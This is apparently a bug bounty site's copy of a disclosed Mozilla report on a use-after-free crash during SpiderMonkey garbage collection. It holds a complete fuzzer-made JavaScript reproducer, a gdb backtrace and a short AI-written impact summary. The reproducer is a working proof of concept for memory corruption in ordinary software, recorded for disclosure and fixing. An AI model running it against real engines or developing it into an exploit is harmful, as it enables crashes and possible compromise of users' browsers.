Wild deref in js::Shape::getObjectClass (this=0x37bb7837f080) at vm/Shape.h:391
A JavaScript engine crash occurs during garbage collection when a shape's class pointer is dereferenced after the object has been finalised. An attacker could cause a denial of service by supplying a crafted script that triggers this use-after-free.
Originally disclosed on Mozilla
- Fixed in 11 days
- Paid in 24 days
- Disclosed after 11 days
Steps to reproduce:
On git commit 38377227b8f96fda8f418db614e6a8aa67d01c31 the attached sample crashes in the js-shell when invoked as `obj-x86_64-pc-linux-gnu/dist/bin/js --fuzzing-safe crash.js`.
The reproducer looks similar to bug 1894916, maybe the root cause is related. Attempting to bisect failed but commits from 2022 are affected already (need to fiddle a bit with the second parameter to gczeal).
The older commits, e.g., d48cc4ab1193ac2a8f4aa78743a69fb24a3595e6 assert with `Assertion failure: IsBackgroundFinalizedWhenTenured(a) == IsBackgroundFinalizedWhenTenured(b), at vm/JSObject.cpp:1218`
'''
gczeal(8, 37);
function f67() {
for (let i71 = 0; i71 < 50; i71++) {
const v82 = this.transplantableObject();
const v83 = v82.object;
class C84 {
}
const o86 = {
"sameZoneAs": C84,
"immutablePrototype": false,
};
const t60 = newGlobal(o86);
t60.__proto__ = v83;
const v90 = newGlobal();
v90.nukeAllCCWs();
v82.transplant(v90);
}
}
f67();
'''
'''
#0 js::Shape::getObjectClass (this=0x37bb7837f080) at js/src/vm/Shape.h:391
#1 JSObject::finalize (this=0x37bb783ac040, gcx=0x7ffff6700c20) at js/src/vm/JSObject-inl.h:97
#2 0x0000555557ffda3f in js::gc::Arena::finalize<JSObject> (this=this@entry=0x37bb783ac000, gcx=gcx@entry=0x7ffff6700c20, thingKind=<optimized out>, thingSize=thingSize@entry=56)
at js/src/gc/Sweeping.cpp:133
#3 0x0000555557ff2648 in FinalizeTypedArenas<JSObject> (gcx=0x7ffff6700c20, src=..., dest=..., thingKind=<optimized out>, budget=...) at js/src/gc/Sweeping.cpp:200
#4 0x0000555557fcf6e3 in FinalizeArenas (gcx=0xaaaaaaaaaaaa0008, gcx@entry=0x7ffff6700c20, src=..., dest=..., thingKind=thingKind@entry=js::gc::AllocKind::OBJECT4_BACKGROUND, budget=...)
at js/src/gc/Sweeping.cpp:231
#5 0x0000555557fcf137 in js::gc::GCRuntime::backgroundFinalize (this=this@entry=0x7ffff6b2f798, gcx=gcx@entry=0x7ffff6700c20, zone=zone@entry=0x7ffff631d000, kind=<optimized out>,
empty=empty@entry=0x7ffff6700b10) at js/src/gc/Sweeping.cpp:270
#6 0x0000555557fd2662 in js::gc::GCRuntime::sweepBackgroundThings (this=this@entry=0x7ffff6b2f798, zones=...) at js/src/gc/Sweeping.cpp:348
#7 0x0000555557fd3025 in js::gc::GCRuntime::sweepFromBackgroundThread (this=0x7ffff6b2f798, lock=...) at js/src/gc/Sweeping.cpp:425
#8 0x0000555557f47050 in js::GCParallelTask::runTask (this=this@entry=0x7ffff6b31768, gcx=gcx@entry=0x7ffff6700c20, lock=...) at js/src/gc/GCParallelTask.cpp:201
#9 0x0000555557f47429 in js::GCParallelTask::runHelperThreadTask (this=0x7ffff6b31768, lock=...) at js/src/gc/GCParallelTask.cpp:183
#10 0x0000555557569fb7 in js::GlobalHelperThreadState::runTaskLocked (this=this@entry=0x7ffff6b19400, task=0x7ffff6b31768, locked=...) at js/src/vm/HelperThreads.cpp:1728
#11 0x0000555557569c12 in js::GlobalHelperThreadState::runOneTask (this=0x7ffff6b19400, lock=...) at js/src/vm/HelperThreads.cpp:1697
#12 0x00005555575a0e4b in js::HelperThread::threadLoop (this=this@entry=0x7ffff6b27260, pool=pool@entry=0x7ffff6b23380) at js/src/vm/InternalThreadPool.cpp:282
#13 0x00005555575a0a18 in js::HelperThread::ThreadMain (pool=0x7ffff6b23380, helper=0x7ffff6b27260) at js/src/vm/InternalThreadPool.cpp:225
#14 0x00005555575bda74 in js::detail::ThreadTrampoline<void (&)(js::InternalThreadPool*, js::HelperThread*), js::InternalThreadPool*&, js::HelperThread*>::callMain<0ul, 1ul> (this=0x7ffff6b0f2e0)
at js/src/threading/Thread.h:228
#15 js::detail::ThreadTrampoline<void (&)(js::InternalThreadPool*, js::HelperThread*), js::InternalThreadPool*&, js::HelperThread*>::Start (aPack=0x7ffff6b0f2e0)
at js/src/threading/Thread.h:217
#16 0x00007ffff7897b5a in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:444
#17 0x00007ffff79285fc in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:78
(gdb) x/i $rip
=> 0x555557ffe2f4 <_ZN8JSObject8finalizeEPN2JS9GCContextE+148>: mov (%rax),%rax
(gdb) i r rax
rax 0xfffe4b4b00c000c0 -480164446207808
'''
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A crafted script could crash the JavaScript engine, leading to a denial of service.
What the attacker needed
Ability to run JavaScript in the affected engine
How it was found
- Run the js-shell with the fuzzing-safe flag on the provided crash script.
- The script uses gczeal to enable background finalisation and repeatedly creates globals, transplants objects, and nukes cross-compartment wrappers.
- The crash occurs in a background GC thread during finalisation.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a bug in a JavaScript engine's memory management. When the engine cleans up unused objects (garbage collection), it sometimes tries to read information from an object that has already been freed, which crashes the program. A malicious script could make the browser or shell crash.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.